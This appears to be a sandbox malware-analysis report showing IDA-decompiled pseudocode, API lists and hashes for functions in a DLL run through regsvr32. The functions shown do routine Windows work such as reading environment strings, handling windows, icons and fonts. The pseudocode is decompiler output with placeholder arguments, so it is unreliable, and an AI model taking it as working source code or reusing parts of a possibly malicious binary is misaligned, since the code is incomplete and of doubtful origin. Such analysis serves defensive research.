Instruction Fuzzy Hash: 525183322056808ADB61CB61E8E477E73A1FBD8BD4F54852ADA4E8BB14DF78C4C1CB01

Uniqueness

Uniqueness Score: -1.00%

Function 1003EB80 Relevance: 15.1, APIs: 10, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E1003EB80(void* __ebx, intOrPtr __ebp, long long __rax, long long __rbx, long long __rdi, long long __rsi, long long __rbp, long long __r12, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				intOrPtr _t27;
				CHAR* _t28;
				int _t37;
				int _t39;
				void* _t45;
				void* _t46;
				intOrPtr _t51;
				long long _t60;
				long long _t64;
				short* _t67;
				signed long long _t69;
				short* _t84;
				long long _t91;
				long long _t92;
				int _t93;
				long long _t98;

				_t98 = __r12;
				_t92 = __rbp;
				_t86 = __rsi;
				_t80 = __rdi;
				_t60 = __rax;
				_t51 = __ebp;
				_t45 = __ebx;
				_t27 =  *0x100b8168; // 0x1
				_a8 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				if(_t27 != 0) {
					L6:
					if(_t27 != 1) {
						if(_t27 == 2 || _t27 == 0) {
							goto L21;
						} else {
							goto L28;
						}
					} else {
						GetEnvironmentStringsW();
						_t84 = _t60;
						if(_t60 == 0) {
							goto L28;
						} else {
							goto L8;
						}
					}
				} else {
					GetEnvironmentStringsW();
					_t80 = __rax;
					if(__rax == 0) {
						if(GetLastError() != 0x78) {
							_t27 =  *0x100b8168; // 0x1
							goto L6;
						} else {
							 *0x100b8168 = 2;
							L21:
							_t28 = GetEnvironmentStrings();
							_t64 = _t60;
							if(_t60 == 0) {
								L28:
								return 0;
							} else {
								if( *_t60 != 0) {
									goto L24;
									do {
										do {
											L24:
											_t60 = _t60 + 1;
										} while ( *_t60 != 0);
										_t60 = _t60 + 1;
									} while ( *_t60 != 0);
								}
								_t88 = _t28 - _t45 + 1;
								E10038810(_t46, _t60, _t64, _t28 - _t45 + 1, _t80, _t28 - _t45 + 1, _t92);
								if(_t60 != 0) {
									E10032E50(_t46, _t60, _t64, _t88);
									return FreeEnvironmentStringsA(??);
								} else {
									FreeEnvironmentStringsA();
									goto L28;
								}
							}
						}
					} else {
						 *0x100b8168 = 1;
						L8:
						_t67 = _t84;
						if( *_t84 != 0) {
							goto L10;
							do {
								do {
									L10:
									_t67 = _t67 + 2;
								} while ( *_t67 != 0);
								_t67 = _t67 + 2;
							} while ( *_t67 != 0);
						}
						_a16 = _t92;
						_v8 = _t98;
						r12d = 0;
						_t69 = _t67 - _t84 >> 1;
						_v16 = _t98;
						_v24 = _t98;
						_t8 = _t69 + 1; // 0x1
						r9d = _t8;
						_v32 = r12d;
						_v40 = _t98;
						_t37 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
						_t93 = _t37;
						if(_t37 == 0) {
							L18:
							FreeEnvironmentStringsW();
							_t39 = 0;
						} else {
							E10038810(0, _t60, _t69, _t93, _t84, _t86, _t93);
							_t91 = _t60;
							if(_t60 == 0) {
								goto L18;
							} else {
								_v16 = _t98;
								_v24 = _t98;
								_t13 = _t69 + 1; // 0x1
								r9d = _t13;
								_v32 = _t51;
								_v40 = _t60;
								if(WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??) == 0) {
									E1002E330(_t60, _t91);
									_t91 = _t98;
								}
								_t39 = FreeEnvironmentStringsW();
							}
						}
						return _t39;
					}
				}
			}

0x1003eb80
0x1003eb80
0x1003eb80
0x1003eb80
0x1003eb80
0x1003eb80
0x1003eb80
0x1003eb84
0x1003eb8a
0x1003eb8f
0x1003eb96
0x1003eb9b
0x1003ebd7
0x1003ebda
0x1003ecd0
0x00000000
0x00000000
0x00000000
0x00000000
0x1003ebe0
0x1003ebe0
0x1003ebe9
0x1003ebec
0x00000000
0x00000000
0x00000000
0x00000000
0x1003ebec
0x1003eb9d
0x1003eb9d
0x1003eba6
0x1003eba9
0x1003ebc0
0x1003ebd1
0x00000000
0x1003ebc2
0x1003ebc2
0x1003ecd6
0x1003ecd6
0x1003ecdf
0x1003ece2
0x1003ed23
0x1003ed38
0x1003ece4
0x1003ece7
0x00000000
0x1003ecf0
0x1003ecf0
0x1003ecf0
0x1003ecf0
0x1003ecf4
0x1003ecf9
0x1003ecfd
0x1003ecf0
0x1003ed07
0x1003ed0d
0x1003ed18
0x1003ed42
0x1003ed66
0x1003ed1a
0x1003ed1d
0x00000000
0x1003ed1d
0x1003ed18
0x1003ece2
0x1003ebab
0x1003ebab
0x1003ebf2
0x1003ebf6
0x1003ebf9
0x00000000
0x1003ec00
0x1003ec00
0x1003ec00
0x1003ec00
0x1003ec04
0x1003ec0a
0x1003ec0e
0x1003ec00
0x1003ec17
0x1003ec1c
0x1003ec21
0x1003ec24
0x1003ec2a
0x1003ec2f
0x1003ec34
0x1003ec34
0x1003ec3c
0x1003ec41
0x1003ec46
0x1003ec4e
0x1003ec51
0x1003ecc0
0x1003ecc3
0x1003ecc9
0x1003ec53
0x1003ec56
0x1003ec5e
0x1003ec61
0x00000000
0x1003ec63
0x1003ec63
0x1003ec68
0x1003ec6d
0x1003ec6d
0x1003ec78
0x1003ec7c
0x1003ec89
0x1003ec8e
0x1003ec93
0x1003ec93
0x1003ec99
0x1003ec9f
0x1003ec61
0x1003ecbf
0x1003ecbf
0x1003eba9

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003EB9D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003EBB7
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003EBE0
WideCharToMultiByte.KERNEL32 ref: 1003EC46
WideCharToMultiByte.KERNEL32 ref: 1003EC81
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003EC99
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003ECC3
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003ECD6
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003ED1D
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,?,?,?,100320D8), ref: 1003ED4A

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 4109468225-0
Opcode ID: 0a3452d0b1d0393dcf0df4c8251053689fd8b43dc10bc41ab58541b834227406
Instruction ID: d01dc1cc49a132c770217385190dba9a708a7a825d1bf0e1f38695c376790ec4
Opcode Fuzzy Hash: 0a3452d0b1d0393dcf0df4c8251053689fd8b43dc10bc41ab58541b834227406
Instruction Fuzzy Hash: 01416C316057C08AEB12CF12AC4534EA7E5F749BD1F485524EE8A4BB98EB7CD982DB00

Uniqueness

Uniqueness Score: -1.00%

Function 100247F8 Relevance: 15.1, APIs: 10, Instructions: 83COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,?,?,?,?,?,?,10023066), ref: 10024817
GetWindowRect.USER32 ref: 10024830
SetRect.USER32 ref: 10024874
InvalidateRect.USER32 ref: 10024889
SetRect.USER32 ref: 100248A6
InvalidateRect.USER32 ref: 100248BB
SetRect.USER32 ref: 100248E7
InvalidateRect.USER32 ref: 100248FC
SetRect.USER32 ref: 1002491A
InvalidateRect.USER32 ref: 1002492F

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Invalidate$Window$Proc
String ID:
API String ID: 570070710-0
Opcode ID: 5f4dd4a9f9a54d971ce7b8a3c17d7882d4848f31483389e4d12ce2f092c9b575
Instruction ID: 0db3add710c06918554e481629ab8429fdcc2423d2e783be8871ff7681817b2f
Opcode Fuzzy Hash: 5f4dd4a9f9a54d971ce7b8a3c17d7882d4848f31483389e4d12ce2f092c9b575
Instruction Fuzzy Hash: DC313777220A918BE711CF26F844B9E7B30F788B89F405111EE8A07A18DF79D589CF40

Uniqueness

Uniqueness Score: -1.00%

Function 10002D70 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 74
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E10002D70(void* __ebx, void* __edx, void* __esi, void* __eflags, char* __rax, void* __rcx, void* __rdx, void* __r8, char* __r9, void* __r11) {
				void* _v136;
				char _v200;
				long long _v216;
				intOrPtr _v232;
				long long _v240;
				long long _v248;
				void* _t46;
				char* _t49;
				void* _t71;
				char* _t73;
				void* _t75;

				_t74 = __r9;
				_t48 = __rax;
				_t46 = __eflags;
				_t45 = __esi;
				_t39 = __ebx;
				_v216 = 0xfffffffe;
				_t71 = __rcx;
				E1001B134(__ebx, _t40, __edx, __esi, __rax, __rcx, __r8, __r9, _t75, __r11);
				E1001A994(__ebx, __edx, __esi, __rax, __r8, __r9, __r11);
				_v240 = 0;
				_v248 = 0;
				r9d = 0;
				_t4 = _t74 + 1; // 0x1
				r8d = _t4;
				LoadImageA(??, ??, ??, ??, ??, ??);
				_t49 = __rax;
				E10012554(_t46, __rax,  &_v200);
				_v200 = 0x100583e8;
				E10019898(_t48, _t71);
				_t65 =  *((intOrPtr*)(_t48 + 0x40));
				E100143C8(__ebx, 0x3ec, _t48,  &_v200,  *((intOrPtr*)(_t48 + 0x40)), __r8, __r9, 0x100583e8);
				r9d = 0;
				_t73 = _t49;
				SendMessageA(??, ??, ??, ??);
				if(DestroyIcon(??) == 0) {
					_t40 = GetLastError();
					_v232 = 1;
					_v240 = 0;
					_t48 = "Win32 Error";
					_v248 = "Win32 Error";
					_t74 = "::DestroyIcon(iconCtrl.SetIcon(hIco))";
					r8d = 0xb0;
					_t65 = ".\\clover.cpp";
					E1000DDEC(_t37, __esi, ".\\clover.cpp", _t73, "::DestroyIcon(iconCtrl.SetIcon(hIco))");
				}
				E10014418(_t39, _t40, _t45, _t48,  &_v200, _t65, 0x100583e8);
				r8d = 0x3ed;
				E1000D530(_t39, _t40, 0x170, _t71, _t71 + 0xe8, _t73, _t74, 0x100583e8);
				r8d = 0x3e9;
				E1000D530(_t39, _t40, 0x170, _t71, _t71 + 0x138, _t73, _t74, 0x100583e8);
				r8d = 0x3ea;
				E1000D530(_t39, _t40, 0x170, _t71, _t71 + 0x110, _t73, _t74, 0x100583e8);
				r8d = 0x3eb;
				E1000D530(_t39, _t40, 0x170, _t71, _t71 + 0x160, _t73, _t74, 0x100583e8);
				r8d = 0x3e8;
				E1000D530(_t39, _t40, 0x170, _t71, _t71 + 0x188, _t73, _t74, 0x100583e8);
				E1001AAA0(0x170,  &_v200);
				return 1;
			}

0x10002d70
0x10002d70
0x10002d70
0x10002d70
0x10002d70
0x10002d7a
0x10002d83
0x10002d86
0x10002d8b
0x10002d90
0x10002d98
0x10002da0
0x10002da8
0x10002da8
0x10002db0
0x10002db6
0x10002dbe
0x10002dca
0x10002dd7
0x10002ddc
0x10002de5
0x10002dea
0x10002ded
0x10002dfd
0x10002e0e
0x10002e16
0x10002e18
0x10002e20
0x10002e29
0x10002e30
0x10002e35
0x10002e3c
0x10002e42
0x10002e49
0x10002e49
0x10002e53
0x10002e5f
0x10002e68
0x10002e74
0x10002e7d
0x10002e89
0x10002e92
0x10002e9e
0x10002ea7
0x10002eb3
0x10002ebc
0x10002ec7
0x10002eda

APIs

LoadImageA.USER32 ref: 10002DB0

Part of subcall function 10019898: GetDlgItem.USER32 ref: 100198AA

SendMessageA.USER32 ref: 10002DFD
DestroyIcon.USER32 ref: 10002E06
GetLastError.KERNEL32 ref: 10002E10

Part of subcall function 1000DDEC: GetLocalTime.KERNEL32 ref: 1000DEA8
Part of subcall function 1000DDEC: FormatMessageA.KERNEL32 ref: 1000DEDD
Part of subcall function 1000DDEC: GetCurrentThread.KERNEL32 ref: 1000DF30
Part of subcall function 1000DDEC: GetCurrentProcess.KERNEL32 ref: 1000DF39

Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCMT ref: 10002EC7

Strings

.\clover.cpp, xrefs: 10002E42
Win32 Error, xrefs: 10002E29
::DestroyIcon(iconCtrl.SetIcon(hIco)), xrefs: 10002E35

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ContextCurrentExternalMessage$BaseBase::~Concurrency::details::DestroyErrorFormatIconImageItemLastLoadLocalProcessSendThreadTime
String ID: .\clover.cpp$::DestroyIcon(iconCtrl.SetIcon(hIco))$Win32 Error
API String ID: 3706327134-532731635
Opcode ID: 5f9f2fa0b5632cdf8b81b98fca088d6058df624a43c510fa04c91a7f86d2d43a
Instruction ID: 4e7b729cdf07008461a4c7be5aadd7d60e88c190551c01a637feaac5584cc5e6
Opcode Fuzzy Hash: 5f9f2fa0b5632cdf8b81b98fca088d6058df624a43c510fa04c91a7f86d2d43a
Instruction Fuzzy Hash: B6318F35324B8092E715DB21E9913AE6365F7897D4F800112EE990BB98DFB8D784CB10

Uniqueness

Uniqueness Score: -1.00%

Function 1002B49C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E1002B49C(signed int __edx, void* __rcx) {
				signed int _v56;
				char _v92;
				signed int _v120;
				signed int _t14;
				int _t15;
				signed int _t18;
				void* _t20;
				signed int _t22;
				int _t27;
				signed long long _t35;
				signed long long _t36;
				char* _t45;
				signed long long _t47;
				signed int* _t48;
				void* _t49;
				void* _t50;

				_t25 = __edx;
				_t35 =  *0x100b1640; // 0xf93099fb11e7
				_t36 = _t35 ^ _t47;
				_v56 = _t36;
				_t50 = __rcx;
				_t20 = 0x11;
				_t18 = __edx & 0x0000ffff;
				_t45 = "System";
				_t27 = 0xa;
				GetStockObject(??);
				if(_t36 != 0) {
					L2:
					_t48 =  &_v120;
					_t25 = 0x3c;
					if(GetObjectA(??, ??, ??) != 0) {
						_t45 =  &_v92;
						GetDC(??);
						_t22 = _v120;
						if(_t22 < 0) {
							_v120 =  ~_t22;
						}
						_t14 = GetDeviceCaps();
						_t25 = 0x48;
						r8d = _t14;
						_t15 = MulDiv(??, ??, ??);
						_t20 = 0;
						_t27 = _t15;
						ReleaseDC(??, ??);
					}
					L6:
					_t19 =  ==  ? _t27 : _t18;
					r8d = ( ==  ? _t27 : _t18) & 0x0000ffff;
					E1002B2A8(_t20, _t25, _t27, _t50, _t45, _t48, _t49);
					return E1002FF40(_t20, _v56 ^ _t47);
				}
				_t2 = _t36 + 0xd; // 0xd
				_t20 = _t2;
				GetStockObject(??);
				if(_t36 == 0) {
					goto L6;
				}
				goto L2;
			}

0x1002b49c
0x1002b4a7
0x1002b4ae
0x1002b4b1
0x1002b4b6
0x1002b4b9
0x1002b4be
0x1002b4c1
0x1002b4c8
0x1002b4cc
0x1002b4d5
0x1002b4e5
0x1002b4e5
0x1002b4ea
0x1002b4fa
0x1002b4fe
0x1002b503
0x1002b509
0x1002b512
0x1002b516
0x1002b516
0x1002b522
0x1002b52c
0x1002b531
0x1002b534
0x1002b53d
0x1002b53f
0x1002b541
0x1002b541
0x1002b547
0x1002b550
0x1002b554
0x1002b558
0x1002b574
0x1002b574
0x1002b4d7
0x1002b4d7
0x1002b4da
0x1002b4e3
0x00000000
0x00000000
0x00000000

APIs

GetStockObject.GDI32 ref: 1002B4CC
GetStockObject.GDI32 ref: 1002B4DA
GetObjectA.GDI32 ref: 1002B4F2
GetDC.USER32 ref: 1002B503
GetDeviceCaps.GDI32 ref: 1002B522
MulDiv.KERNEL32 ref: 1002B534
ReleaseDC.USER32 ref: 1002B541

Strings

System, xrefs: 1002B4C1

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 77e94ee8a08fed19d72604f73e845ced9021a7abd92141dc74a4f0e0c3b2f3ca
Instruction ID: 315241f2106920ff2bca935116308df0d0bddf9f1eb3ddf3a2eb3108ec3de051
Opcode Fuzzy Hash: 77e94ee8a08fed19d72604f73e845ced9021a7abd92141dc74a4f0e0c3b2f3ca
Instruction Fuzzy Hash: 0611BB31705B5482EB169B22FC147AA23A0FB8DB81F844139AE8E47794DF7CD885CB00

Uniqueness

Uniqueness Score: -1.00%

Function 100245CC Relevance: 13.6, APIs: 9, Instructions: 130
timekeyboardCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E100245CC(void* __ebx, void* __edx, void* __esi, long long __rax, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11, char _a24) {
				int _t22;
				long long _t32;
				intOrPtr _t66;
				intOrPtr* _t67;
				intOrPtr _t82;
				char _t86;
				char* _t87;
				long long _t89;
				long long _t90;
				intOrPtr _t91;
				intOrPtr _t92;
				long long _t97;
				long long _t98;
				void* _t99;

				_t94 = __r9;
				_t93 = __r8;
				_t63 = __rax;
				_t43 = __esi;
				_t40 = __edx;
				_t37 = __ebx;
				_t67 = __rcx;
				_t99 = __rdx;
				_t22 = GetKeyState(??);
				if(_t22 < 0) {
					L33:
					return _t22;
				}
				E1001A9E4(__ebx, 1, __edx, __esi, __rax, __rcx, __rdx, __r8, __r9, __r11);
				_t97 = __rax;
				GetCursorPos(??);
				ScreenToClient(??, ??);
				_t96 =  *_t67;
				_t86 = _a24;
				r8d = 0;
				 *((intOrPtr*)( *_t67 + 0xd8))();
				_t46 = __rax;
				_t90 = __rax;
				if(__rax < 0) {
					_t89 = 0xffffffff;
					 *((long long*)(__rax + 0x98)) = 0xffffffff;
					L18:
					if(_t90 < 0) {
						L27:
						if( *((intOrPtr*)(_t97 + 0x98)) == _t89) {
							KillTimer();
						}
						_t87 = _t89;
						_t22 =  *((intOrPtr*)( *_t67 + 0x2d0))();
						L30:
						if(_t99 != _t87) {
							goto L33;
						}
						_t22 = KillTimer();
						if(_t90 < 0) {
							goto L33;
						}
						return  *((intOrPtr*)( *_t67 + 0x2d0))();
					}
					_t87 =  &_a24;
					ClientToScreen(??, ??);
					_t22 = WindowFromPoint(??);
					_t92 = _t63;
					if(_t63 == 0) {
						L25:
						_t90 = _t89;
						 *((long long*)(_t97 + 0x98)) = _t89;
						L26:
						if(_t90 >= 0) {
							goto L30;
						}
						goto L27;
					}
					if(_t63 ==  *((intOrPtr*)(_t67 + 0x40))) {
						goto L26;
					}
					_t87 = _t63;
					_t22 = IsChild(??, ??);
					if(_t22 != 0) {
						goto L26;
					}
					_t66 =  *((intOrPtr*)(_t97 + 0x78));
					if(_t66 != 0) {
						_t66 =  *((intOrPtr*)(_t66 + 0x40));
					}
					if(_t66 == _t92) {
						goto L26;
					} else {
						goto L25;
					}
				}
				E10016024(__esi, __rax, _t67, _t86, _t96);
				_t98 = __rax;
				if(E10017950(__ebx, 1, __edx, __esi, _t46, __rax, _t67, __r8, __r9, _t96) != 0) {
					__eflags = __rax;
					if(__rax == 0) {
						E1000E3A4();
						asm("int3");
					}
					_t32 = E10019A40(_t98);
					_t89 = 0xffffffff;
					__eflags = _t32;
					_t90 =  ==  ? 0xffffffff : _t90;
					goto L7;
				} else {
					_t89 = 0xffffffff;
					_t90 = 0xffffffff;
					L7:
					_t63 =  *((intOrPtr*)(_t97 + 0x78));
					if(_t63 != 0) {
						_t91 =  *((intOrPtr*)(_t63 + 0x40));
					}
					GetCapture();
					_t82 = _t63;
					E10014360(_t37, _t40, _t63, _t82, _t86, _t93, _t94, _t96);
					if(_t63 != _t67) {
						if(_t63 != 0) {
							_t82 =  *((intOrPtr*)(_t63 + 0x40));
						}
						if(_t82 != _t91) {
							E10016024(_t43, _t63, _t63, _t86, _t96);
							if(_t63 == _t98) {
								_t90 = _t89;
							}
						}
					}
					goto L18;
				}
			}

0x100245cc
0x100245cc
0x100245cc
0x100245cc
0x100245cc
0x100245cc
0x100245db
0x100245e3
0x100245e6
0x100245ef
0x10024791
0x10024791
0x10024791
0x100245f5
0x100245ff
0x10024602
0x10024611
0x10024617
0x1002461a
0x1002461f
0x10024625
0x1002462c
0x1002462f
0x10024632
0x100246c4
0x100246cb
0x100246d3
0x100246d6
0x10024733
0x1002473b
0x10024746
0x10024746
0x1002474f
0x10024755
0x1002475b
0x10024763
0x00000000
0x00000000
0x10024769
0x10024772
0x00000000
0x00000000
0x00000000
0x1002477d
0x100246dc
0x100246e1
0x100246ec
0x100246f5
0x100246f8
0x10024723
0x10024723
0x10024726
0x1002472e
0x10024731
0x00000000
0x00000000
0x00000000
0x10024731
0x10024701
0x00000000
0x00000000
0x10024703
0x10024706
0x1002470e
0x00000000
0x00000000
0x10024710
0x10024718
0x1002471a
0x1002471a
0x10024721
0x00000000
0x00000000
0x00000000
0x00000000
0x10024721
0x1002463b
0x10024643
0x1002464d
0x1002465b
0x1002465e
0x10024660
0x10024665
0x10024665
0x10024669
0x1002466e
0x10024675
0x10024677
0x00000000
0x1002464f
0x1002464f
0x10024656
0x1002467b
0x1002467b
0x10024683
0x10024689
0x10024689
0x1002468d
0x10024693
0x10024696
0x1002469e
0x100246a3
0x100246a9
0x100246a9
0x100246b0
0x100246b5
0x100246bd
0x100246bf
0x100246bf
0x100246bd
0x100246b0
0x00000000
0x1002469e

APIs

GetKeyState.USER32 ref: 100245E6
GetCursorPos.USER32 ref: 10024602
ScreenToClient.USER32 ref: 10024611
GetCapture.USER32 ref: 1002468D
ClientToScreen.USER32 ref: 100246E1
WindowFromPoint.USER32 ref: 100246EC
IsChild.USER32 ref: 10024706
KillTimer.USER32 ref: 10024746
KillTimer.USER32 ref: 10024769

Part of subcall function 10017950: GetForegroundWindow.USER32 ref: 1001796D
Part of subcall function 10017950: GetLastActivePopup.USER32 ref: 10017982

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ClientKillScreenTimerWindow$ActiveCaptureChildCursorForegroundFromLastPointPopupState
String ID:
API String ID: 3566347107-0
Opcode ID: 54ac61e7db9179a6f3832b0a5a294a272a0882e8c794d628b77bf912e05b8a06
Instruction ID: fc2dc0de48681f6b96c27370545f3d5a85cf236bf9503ec063c7cdc4d767a772
Opcode Fuzzy Hash: 54ac61e7db9179a6f3832b0a5a294a272a0882e8c794d628b77bf912e05b8a06
Instruction Fuzzy Hash: 10419336706A9182DE05DF26F84C75917B0FB8AFE4F4A4225DD2E0B798DFB9C8858301

Uniqueness

Uniqueness Score: -1.00%

Function 100372A0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 419
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E100372A0(signed int __ebx, void* __ecx, void* __esi, void* __ebp, long long __rbx, signed char* __rcx, signed char* __rdx, signed char* __rdi, long long __rsi, signed int* __r8, signed char* __r9, long long __r12, long long __r13, long long __r14, long long __r15) {
				signed int _t147;
				signed int _t150;
				void* _t152;
				void* _t154;
				signed char _t157;
				signed char _t179;
				signed int _t181;
				signed char _t185;
				void* _t197;
				signed char _t199;
				signed int _t204;
				void* _t205;
				intOrPtr _t206;
				intOrPtr _t210;
				void* _t212;
				signed int _t215;
				void* _t216;
				intOrPtr _t218;
				signed int* _t279;
				signed int* _t282;
				signed char* _t286;
				signed int* _t288;
				signed char* _t291;
				signed int* _t315;
				long long _t324;
				signed char* _t326;
				long long _t327;
				signed int* _t328;
				signed int* _t330;
				void* _t331;
				signed char* _t353;
				signed char* _t355;
				signed char* _t357;
				intOrPtr* _t359;
				signed char* _t361;

				_t363 = __r15;
				_t324 = __rsi;
				_t321 = __rdi;
				_t216 = __esi;
				_t205 = __ecx;
				_t204 = __ebx;
				_t330[8] = __r9;
				_t330[6] = __r8;
				_t330[4] = __rdx;
				_t279 = _t330;
				_t331 = _t330 - 0x5a8;
				 *((long long*)(_t279 - 8)) = __rbx;
				 *((long long*)(_t279 - 0x10)) = _t327;
				_t328 =  *((intOrPtr*)(_t331 + 0x5d0));
				 *((long long*)(_t279 - 0x20)) = __rdi;
				 *((long long*)(_t279 - 0x28)) = __r12;
				 *((long long*)(_t279 - 0x30)) = __r13;
				 *((long long*)(_t279 - 0x38)) = __r14;
				 *((long long*)(_t279 - 0x40)) = __r15;
				_t357 = __rdx;
				_t361 = __rcx;
				r15b = 0;
				_t353 = __r9;
				_t284 = __r8;
				 *(_t331 + 0x5b0) = r15b;
				_t147 = E10035A50(__r8, _t328, __r9, __rdi, __rsi, _t328);
				_t345 = _t331 + 0x68;
				_t215 = _t147;
				 *(_t331 + 0x58) = _t147;
				E1002E500(_t215, _t279, _t284, __rdx, _t353, _t321, _t324, _t328, _t328, _t331 + 0x68, _t353, __rdx, __rcx, __r15);
				if(_t215 <= E10035C00(_t279, __rdx, _t328)) {
					_t338 = _t328;
					_t313 = _t353;
					_t296 = __rdx;
					_t150 = E10035C00(_t279, __rdx, _t328);
					_t215 = _t150;
					 *(_t331 + 0x58) = _t150;
				} else {
					r9d = _t215;
					E10035BA0(_t149, _t331 + 0x68, _t328);
					r9d = _t215;
					_t338 = _t328;
					_t313 = _t353;
					_t296 = _t357;
					E10035BB0(_t279, _t284, _t296, _t321, _t328);
				}
				if(_t215 < 0xffffffff || _t215 >= _t328[1]) {
					E10037BD0(_t279, _t313, _t345, _t357, _t361, _t363);
				}
				if( *_t361 != 0xe06d7363 || _t361[0x18] != 4) {
					L28:
					if( *_t361 != 0xe06d7363 || _t361[0x18] != 4) {
						L88:
						__eflags = _t328[3];
						if(_t328[3] <= 0) {
							goto L85;
						} else {
							__eflags =  *(_t331 + 0x5d8);
							if( *(_t331 + 0x5d8) != 0) {
								E10037BA0(_t279, _t296, _t345, _t357, _t361, _t363);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t284);
								_t286 = _t296;
								_t154 = E100311C0(_t286, _t296, _t313, _t321, _t324, _t338);
								 *_t286 = 0x1009c070;
								return _t154;
							} else {
								_t279 =  *((intOrPtr*)(_t331 + 0x5e8));
								_t345 = _t353;
								_t338 = _t284;
								 *(_t331 + 0x38) = _t279;
								_t313 = _t357;
								 *(_t331 + 0x30) =  *(_t331 + 0x5e0);
								_t296 = _t361;
								 *(_t331 + 0x28) = _t215;
								 *(_t331 + 0x20) = _t328;
								E10036FF0(_t205, _t216, _t284, _t361, _t357, _t321, _t324, _t328, _t284, _t353, _t353, _t357, _t361, _t363);
								goto L85;
							}
						}
					} else {
